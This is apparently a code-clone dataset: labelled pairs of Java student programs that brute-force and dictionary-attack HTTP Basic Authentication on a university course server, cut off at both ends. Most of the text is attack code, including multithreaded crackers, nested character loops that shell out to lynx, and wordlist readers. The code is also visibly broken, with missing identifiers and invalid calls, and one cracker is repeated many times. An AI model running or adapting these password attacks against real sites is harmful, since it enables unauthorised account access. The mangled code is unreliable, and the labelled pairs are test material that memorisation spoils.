System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; } if (found){ System.out.println("Password is: "+password); } Date foundDate = new Date(); foundTime=foundDate.getTime(); foundTime=(foundTime-startTime); System.out.println("Time taken was : "+foundTime+" milliseconds"); count=count+1; } } public static Vector readWords() { String nextWord; String lastWord=""; Vector dict=new Vector(); try { BufferedReader in = new BufferedReader(new FileReader("words.txt")); while ((nextWord = in.readLine())!=null) { if (nextWord.length()>3) { nextWord=nextWord.substring(0,3); } if (!lastWord.equals(nextWord) && nextWord.length()>0){ lastWord = nextWord; dict.addElement(nextWord); } } System.out.println("File successfully loaded"); } catch (FileNotFoundException e1) { System.out.println("This program requires a dictionary of words called words.txt in the same directory as the program running, now exiting."); System.exit(0); } catch (IOException e2) { System.out.println("IO Exception, exiting"); System.exit(0); } finally { try { if (null!=in) { in.get(); } } catch (IOException e3) {} } return dict; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
036.java
197.java
0
import java.io.*; import java.util.*; import java.text.*; import java.net.*; public class LoginAttempt { private String urlName = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; private String userName = ""; private String connectString = ""; public LoginAttempt() { } public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried) { boolean foundPassword = false; LoginAttemptResults results = new LoginAttemptResults(); for( i = 0; i < casedPasswords.length; i++) { passwordsTried++; try { URL targetURL; HttpURLConnection connection; targetURL = new URL(urlName); connection = (HttpURLConnection) targetURL.openConnection(); connectString = userName + ":" + casedPasswords[i].trim(); connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getBytes()); connection.setRequestProperty("Authorization", " " + connectString); connection.connect(); if(connection.getResponseCode() == 200) { foundPassword = true; System.out.println("Connected for " + casedPasswords[i]); System.out.println("\nvvvvvvvv File Contents vvvvvvvv\n"); BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream())); String line; for(int j = 1; j <= 20; j++) if((line = in.readLine()) != null) System.out.println(line); else break; System.out.println("\n^^^^^^^^ File Contents ^^^^^^^^\n"); in.print(); } } catch(IOException e) { System.out.println("tryPasswords error: " + e + " at password number " + passwordsTried + " (" + casedPasswords[i] + ")."); } if(foundPassword) break; } results.setSuccess(foundPassword); results.setPasswordsTried(passwordsTried); return results; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
234.java
197.java
0
import java.io.*; import java.*; import java.net.*; public class Dictionary { public static void main (String[] args) throws Exception { System.out.println("Congratulations Your password is "+ checkPassword() ); } private static String checkPassword() throws Exception { FileReader fRead; BufferedReader buf1, buf2; String password=" "; try { fRead= new FileReader("/usr/share/lib/dict/words"); buf1 = new BufferedReader(fRead); buf2 = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); password= fileRead(buf1, buf2); System.out.println("Password is loop2 CheckPassword:"+password); return password; } catch (FileNotFoundException e) { System.err.println("File not found:"+e.getMessage()); System.exit(1); } catch (IOException ioe) { System.err.println("IOE error: "+ioe.getMessage()); System.exit(1); } return password; } private static String fileRead(BufferedReader buf1, BufferedReader buf2) throws Exception { String password = " "; String password1=" "; String passwd = null; int countLength1=0; int countLength2=0; int countLength3=0; while ((password = buf1.readLine()) != null) { if (password.length()<= 3) { if (password.length()==1) { countLength1++; } else if (password.length()==2) { countLength2++; } else { countLength3++; } } } System.out.println(countLength1+" "+countLength2+" "+countLength3); String[] wordSize1=new String[countLength1]; String[] wordSize2=new String[countLength2]; String[] wordSize3=new String[countLength3]; int a=0; int b=0; int c=0; while ((password1 = buf2.readLine()) != null) { if (password1.length()<= 3) { if (password1.length()==1) { wordSize1[a++]=password1; } else if (password1.length()==2) { wordSize2[b++]=password1; } else { wordSize3[c++]=password1; } } } passwd = getPasswordRuns4(wordSize3); if (passwd==null) { passwd = getPasswordRuns3(wordSize1,wordSize2); if (passwd==null) { passwd = getPasswordRuns2(wordSize1,wordSize2); if(passwd==null) { passwd = getPasswordRuns1(wordSize1); } } } return passwd; } private static String getPasswordRuns2(String[] wordSize1,String[] wordSize2) throws Exception { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection sec; String password=" "; String passwd=" "; for (int i=0; i< wordSize1.length; i++) { for (int j=0; j< wordSize2.length; j++) { String userPasswd= ":"+wordSize1[i]+wordSize2[j]; System.out.println(userPasswd); sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty("Authorization", " " + encode(userPasswd)); if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK")) { passwd=password; return passwd; } sec.disconnect(); } } return null; } private static String getPasswordRuns3(String[] wordSize1,String[] wordSize2) throws Exception { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection sec; String password=" "; String passwd=null; for (int i=0; i< wordSize2.length; i++) { for (int j=0; j< wordSize1.length; j++) { password= wordSize2[i]+wordSize1[j]; String userPasswd= ":"+password; sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty("Authorization", " " + encode(userPasswd)); if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK")) { passwd=password; return passwd; } sec.disconnect(); } } return null; } private static String getPasswordRuns4(String[] wordSize3) throws Exception { int attempt=0; URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection sec; String password=" "; String passwd=null; for (int i=0; i< wordSize3.length; i++) { attempt++; password= wordSize3[i]; String userPasswd= ":"+password; System.out.println(attempt+" "+userPasswd); sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty("Authorization", " " + encode(userPasswd)); if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK")) { passwd=password; return passwd; } sec.disconnect(); } return "Password not found"; } private static String getPasswordRuns1(String[] wordSize1) throws Exception { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection sec; String password=" "; String passwd=null; for (int i=0; i< wordSize1.length; i++) { for (int j=0; j< wordSize1.length; j++) { for (int k=0; k< wordSize1.length; k++) { password= wordSize1[i]+wordSize1[j]+wordSize1[k]; String userPasswd= ":"+password; System.out.println(userPasswd); sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty("Authorization", " " + encode(userPasswd)); if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK")) { passwd=password; System.out.println("Password is loop1 readfile:"+password); return passwd; } sec.disconnect(); } } } return passwd; } private static String encode(String userPasswd) throws Exception { String ; String encodedUserPasswd=" "; String addr= "~//base64_encode.php "+userPasswd ; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr}); BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream())); while ( (bf = resp.readLine()) != null ) { encodedUserPasswd=bf.get; } return encodedUserPasswd; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
064.java
197.java
0
import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class Dictionary { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i<x1;i++) b[i] = bb[i]; for(int i=x1;i<x2;i++) b[i] = 0; } char[] c = new char[b.length/3*4]; int i=0, j=0; while (i+3<=b.length) { c[j] = table[(b[i] >> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i<MAXTHREAD;i++) { attempt += threads[i].getLocalAttempt(); } } public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); System.out.println(); System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------"); System.out.println(); System.out.println(" Current connections : "+curconn); System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)"); System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)"); System.out.println(); System.out.println(" ---------------------------------------------------------------------------"); System.out.println(); } public class MyTT extends TimerTask { public synchronized void run() { if (count==REPORT_INTERVAL) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); getAccumulatedLocalAttempt(); double p = (double)attempt/(double)ALLCOMBI*100; double aps = (double) (attempt - attm) / REPORT_INTERVAL; attmArr[attmArrIdx++] = aps; printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx); count = 0; } else if (count==0) { getAccumulatedLocalAttempt(); attm = attempt; count++; } else { count++; } } public synchronized double getOverallAttemptPerSec() { double val = 0; if (attmArrIdx==0) { return attmArrIdx; } else { for (int i=0;i<attmArrIdx;i++) { val+= attmArr[i]; } return val / attmArrIdx; } } private int count = 0; private int attm; private int attmArrIdx = 0; private double[] attmArr = new double[2*60*60/10]; } public synchronized void interruptAll(int ID) { for (int i=0;i<MAXTHREAD;i++) { if ((threads[i].isAlive()) && (i!=ID)) { threads[i].interrupt(); } notifyAll(); } } public synchronized void setSuccess(int ID, String p) { passw = p; success = ID; notifyAll(); interruptAll(ID); end = System.currentTimeMillis(); } public synchronized boolean isSuccess() { return (success>=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx<MAXCONN;idx++) if (!connused[idx]) { connused[idx] = true; break; } notifyAll(); } return idx; } public synchronized void decreaseConn(int idx) { curconn--; connused[idx] = false; notifyAll(); } public String[] fetchWords( int idx,int n) { String[] result = new String[n]; try { BufferedReader b = new BufferedReader(new FileReader(TEMPDICT)); for (int i=0;i<idx;i++) { b.readLine(); } for (int i=0;i<n;i++) { result[i] = b.readLine(); } b.print(); } catch (FileNotFoundException e) { System.out.println(e); System.exit(0); } catch (IOException e) {} return result; } public String fetchWord( int idx) { String result = null; try { BufferedReader b = new BufferedReader(new FileReader(TEMPDICT)); for (int i=0;i<idx;i++) { b.readLine(); } result = b.readLine(); b.print(); } catch (FileNotFoundException e) { System.out.println(e); System.exit(0); } catch (IOException e) {} return result; } public static void readThroughDictionary() { try { BufferedReader b = new BufferedReader(new FileReader(DICTIONARY)); PrintWriter w = new PrintWriter(new BufferedWriter(new FileWriter(TEMPDICT))); String s; ALLCOMBI = 0; while ((s=b.readLine())!=null) { if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) { w.println(s); ALLCOMBI++; } } b.print(); w.print(); } catch (FileNotFoundException e) { System.out.println("Unable open the DICTIONARY file '"+DICTIONARY+"'"); System.exit(0); } catch (IOException e) { System.out.println("Error in the DICTIONARY file '"+DICTIONARY+"'"); System.exit(0); } } public class ThCrack extends Thread { public ThCrack(int threadID, int startidx, int endidx) { super(" Thread #"+String.valueOf(threadID)+": "); this.ID = threadID; this.startidx = startidx; this.endidx = endidx; if (endidx>=startidx+MAXCACHE-1) { this.localDict = new String[MAXCACHE]; this.localDict = fetchWords(startidx,MAXCACHE); lastFetchIdx = startidx+MAXCACHE-1; } else { this.localDict = new String[(int)(endidx-startidx+1)]; this.localDict = fetchWords(startidx,(int)(endidx-startidx+1)); lastFetchIdx = endidx; } setDaemon(true); } public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { int i; String msg; URL tryURL = new URL(THEURL); connections[connID]=(HttpURLConnection) tryURL.openConnection(); connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass)); i = connections[connID].getResponseCode(); msg = connections[connID].getResponseMessage(); connections[connID].disconnect(); if (i==HttpURLConnection.HTTP_OK) { System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+")."); setSuccess(this.ID,thePass); return (true); } else { System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+")."); return (false); } } public void rest(int msec) { try { sleep(msec); } catch (InterruptedException e) {} } public String getCacheIdx(int idx) { if (idx<=lastFetchIdx) { return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; } else { if (lastFetchIdx+localDict.length-1>endidx) { this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1)); lastFetchIdx = endidx; } else { this.localDict = fetchWords(lastFetchIdx+1,localDict.length); lastFetchIdx = lastFetchIdx+localDict.length; } return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; } } public String constructPassword(int idx) { return getCacheIdx(idx); } public String getStartStr() { return fetchWord(this.startidx); } public String getEndStr() { return fetchWord(this.endidx); } public void run() { i = startidx; boolean keeprunning = true; while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { int idx = waitUntilOK2Connect(); if (idx==-1) { break; } try { String s = constructPassword(i); if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) launchRequest(getName(), idx, s); else System.out.println(getName()+"skipping '"+s+"'"); decreaseConn(idx); localattempt++; rest(MAXCONN); i++; } catch (InterruptedException e) { keeprunning = false; break; } catch (IOException e) { decreaseConn(idx); } } if (success==this.ID) { waitUntilAllTerminated(); } } public int getLocalAttempt() { return localattempt; } private int startidx,endidx; private int ID; private int localattempt = 0; private String localDict[]; private int lastFetchIdx; } public void printProgramHeader(String mode,int nThread) { System.out.println(); System.out.println(" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************"); System.out.println(); System.out.println(" URL : "+THEURL); System.out.println(" Crack Mode : "+mode); System.out.println(" . Char : "+MINCHAR); System.out.println(" . Char : "+MAXCHAR); System.out.println(" # of Thread : "+nThread); System.out.println(" Connections : "+MAXCONN); System.out.println(" All Combi. : "+ALLCOMBI); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } public void startNaiveCracking() { MAXTHREAD = 1; MAXCONN = 1; startDistCracking(); } public void startDistCracking() { int startidx,endidx; int thcount; if (isenhanced) { printProgramHeader("ENHANCED DICTIONARY CRACKING ALGORITHM",MAXTHREAD); } else { printProgramHeader("NAIVE DICTIONARY CRACKING ALGORITHM",MAXTHREAD); } if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); } mult = (ALLCOMBI) / MAXTHREAD; i = System.currentTimeMillis(); for (thcount=0;thcount<MAXTHREAD-1;thcount++) { startidx = thcount*mult; endidx = (thcount+1)*mult-1; threads[thcount] = new ThCrack(thcount, startidx, endidx); System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'"); } startidx = (MAXTHREAD-1)*mult; endidx = ALLCOMBI-1; threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx); System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); for (int i=0;i<MAXTHREAD;i++) threads[i].print(); } public Dictionary() { if (isenhanced) { startDistCracking(); } else { startNaiveCracking(); } reportTimer = new java.util.Timer(); MyTT tt = new MyTT(); reportTimer.schedule(tt,0,1000); while ((success==-1) && (attempt<ALLCOMBI)) { try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { } } if (success==-1) { end = System.currentTimeMillis(); } getAccumulatedLocalAttempt(); double ovAps = tt.getOverallAttemptPerSec(); DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); reportTimer.cancel(); try { Thread.sleep(1000); } catch (InterruptedException e) { } synchronized (this) { if (success>=0) { System.out.println(); System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"); System.out.println(); System.out.println(" The password is : "+passw); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } else { System.out.println(); System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************"); System.out.println(); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println("Syntax : Dictionary [mode] [URL] [] [] [username]"); System.out.println(); System.out.println(" mode : (opt) 0 - NAIVE Dictionary mode"); System.out.println(" (trying from the first the last combinations)"); System.out.println(" 1 - ENHANCED Dictionary mode"); System.out.println(" (dividing cracking jobs multiple threads) (default)"); System.out.println(" URL : (opt) the URL crack "); System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"); System.out.println(" , : (optional) range of characters applied in the cracking"); System.out.println(" where 1 <= <= 255 (default = 1)"); System.out.println(" <= <= 255 (default = 3)"); System.out.println(" username : (optional) the username that is used crack"); System.out.println(); System.out.println(" NOTE: The optional parameters '','', and 'username'"); System.out.println(" have specified altogether none at all."); System.out.println(" For example, if [] is specified, then [], and [username]"); System.out.println(" have specified as well. If none of them specified,"); System.out.println(" default values used."); System.out.println(); System.out.println(" Example of invocation :"); System.out.println(" java Dictionary "); System.out.println(" java Dictionary 0"); System.out.println(" java Dictionary 1 http://localhost/tryme.php"); System.out.println(" java Dictionary 0 http://localhost/tryme.php 1 3 "); System.out.println(" java Dictionary 1 http://localhost/tryme.php 1 10 "); System.out.println(); System.out.println(); } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println("Syntax error : invalid mode '"+args[0]+"'"); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println("Syntax error : invalid number '"+args[0]+"'"); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println("Unable open connection the URL '"+args[1]+"'"); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println("Invalid URL '"+args[1]+"'"); printSyntax(); System.exit(1); } } if (argc==5) { try { MINCHAR = Integer.valueOf(args[2]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[2]+"'"); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[3]+"'"); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>255)) { System.out.println("Invalid range number value '"+args[2]+"' (must between 0 and 255)"); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println("Invalid range number value '"+args[2]+"' (must lower than the value)"); printSyntax(); System.exit(1); } if (MAXCHAR>255) { System.out.println("Invalid range number value '"+args[3]+"' (must between value and 255)"); printSyntax(); System.exit(1); } USERNAME = args[4]; } else if ((argc>2) && (argc<5)) { System.out.println("Please specify the [], [], and [username] altogether none at all"); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>5)) { System.out.println("The number of parameters expected is not more than 5. "); System.out.println(" have specified more than 5 parameters."); printSyntax(); System.exit(1); } } public static void main(String[] args) { MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[5]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = String.valueOf(MINCHAR); args[3] = String.valueOf(MAXCHAR); args[4] = USERNAME; } paramCheck(args); readThroughDictionary(); Application = new Dictionary(); } public static Dictionary Application; public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; public static String DICTIONARY = System.getProperty("user.dir")+"/words"; public static String TEMPDICT = System.getProperty("user.dir")+"/~words"; public static boolean isenhanced; public static String passw = ""; public static final int REPORT_INTERVAL = 1; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = ""; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static int MAXCACHE = 100; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
025.java
197.java
0
import java.net.*; import java.*; import java.io.*; import java.util.GregorianCalendar; public class BruteForce { private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B', 'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V', 'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'}; private int num=1; public void crackAddress() throws Exception { String line,username="",passwd; int flag=0; Runtime run = Runtime.getRuntime(); GregorianCalendar =new GregorianCalendar(); for(int k=0;k<passwd_Array.length;k++) { for(int j=0;j<passwd_Array.length;j++) { for(int i=0;i<passwd_Array.length;i++) { passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString(); System.out.println("Check with word:"+passwd.trim()); String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd.trim()+" -dump"; Process result = run.exec(command_line); BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream())); while((line=bf.readLine())!=null) { flag=1; break; } if(flag==1) { System.out.println("The username is: "+username+" The password is: "+passwd); break; } } if(flag==1) break; } if(flag==1) break; } if(flag==0) { for(int i=0;i<passwd_Array.length;i++) { for(int j=0;j<passwd_Array.length;j++) { passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j])).toString(); System.out.println("Check with word:"+passwd); String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump"; Process result = run.exec(command_line); BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream())); while((line=bf.readLine())!=null) { flag=1; break; } if(flag==1) { System.out.println("The username is: "+username+" The password is: "+passwd); break; } } if(flag==1) break; } if(flag==0) { for(int j=0;j<passwd_Array.length;j++) { passwd =(new StringBuffer().append(passwd_Array[j])).toString(); System.out.println("Check with word:"+passwd); String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump"; Process result = run.exec(command_line); BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream())); while((line=bf.readLine())!=null) { flag=1; break; } if(flag==1) { System.out.println("The username is: "+username+" The password is: "+passwd); break; } } } } GregorianCalendar end=new GregorianCalendar(); double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3; System.out.println("The attack use"+time+" seconds."); } public static void main(String args[]) throws Exception { BruteForce bf = new 